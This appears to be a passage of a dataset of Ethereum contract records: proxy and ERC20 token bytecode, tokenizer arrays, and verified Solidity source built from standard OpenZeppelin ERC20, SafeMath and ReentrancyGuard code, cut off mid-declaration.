0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633659cfe6146100775780634f1ef286146100c85780635c60da1b146101615780638f283970146101b8578063f851a44014610209575b610075610260565b005b34801561008357600080fd5b506100c66004803603602081101561009a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061027a565b005b61015f600480360360408110156100de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561011b57600080fd5b82018360208201111561012d57600080fd5b8035906020019184600183028401116401000000008311171561014f57600080fd5b90919293919293905050506102cf565b005b34801561016d57600080fd5b506101766103a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101c457600080fd5b50610207600480360360208110156101db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ff565b005b34801561021557600080fd5b5061021e6105bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610268610615565b6102786102736106f0565b610721565b565b610282610747565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102c3576102be81610778565b6102cc565b6102cb610260565b5b50565b6102d7610747565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103995761031383610778565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d806000811461037e576040519150601f19603f3d011682016040523d82523d6000602084013e610383565b606091505b5050905080151561039357600080fd5b506103a2565b6103a1610260565b5b505050565b60006103b1610747565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103f3576103ec6106f0565b90506103fc565b6103fb610260565b5b90565b610407610747565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105b157600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001807f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f81526020017f787920746f20746865207a65726f20616464726573730000000000000000000081525060400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61052e610747565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105ac816107c7565b6105ba565b6105b9610260565b5b50565b60006105c7610747565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561060957610602610747565b9050610612565b610611610260565b5b90565b61061d610747565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156106e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001807f43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e20667281526020017f6f6d207468652070726f78792061646d696e000000000000000000000000000081525060400191505060405180910390fd5b6106ee6107f6565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6001029050805491505090565b3660008037600080366000845af43d6000803e8060008114610742573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036001029050805491505090565b610781816107f8565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360010290508181555050565b565b610801816108ca565b151561089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001807f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f81526020017f6e20746f2061206e6f6e2d636f6e74726163742061646472657373000000000081525060400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60010290508181555050565b600080823b90506000811191505091905056fea165627a7a723058201209885e5d620dc2c915fc70da9f6faf73c4ca54e889f8d2e17abf784b8b1c050029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 23833, 2581, 2050, 2683, 2581, 2620, 16068, 19317, 26224, 2620, 2546, 2094, 2549, 2278, 22407, 2692, 2497, 2581, 2683, 2487, 2497, 2094, 17134, 28311, 17914, 2575, 2683, 2509, 27717, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 18739, 1013, 8311, 1013, 12200, 8010, 1013, 24540, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24540, 1008, 1030, 16475, 22164, 10656, 1997, 4455, 2000, 2060, 8311, 1010, 2007, 5372, 1008, 2830, 2075, 1997, 2709, 5300, 1998, 25054, 1997, 15428, 1012, 1008, 2009, 11859, 1037, 2991, 5963, 3853, 2008, 10284, 2035, 4455, 2000, 1996, 4769, 1008, 2513, 2011, 1996, 10061, 1035, 7375, 1006, 1007, 4722, 3853, 1012, 1008, 1013, 3206, 24540, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,061
0x96280b5779a9D35dc0E50335C717feBaa9D3cc84
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 22407, 2692, 2497, 28311, 2581, 2683, 2050, 2683, 2094, 19481, 16409, 2692, 2063, 12376, 22394, 2629, 2278, 2581, 16576, 7959, 3676, 2050, 2683, 2094, 2509, 9468, 2620, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,062
0x96281343406dEBf869bf100B733ffeEF23c852b7
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.6.11; // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint a, uint b, string memory errorMessage ) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint a, uint b, string memory errorMessage ) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint a, uint b, string memory errorMessage ) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint private constant _NOT_ENTERED = 1; uint private constant _ENTERED = 2; uint private _status; constructor() internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint amount) external returns 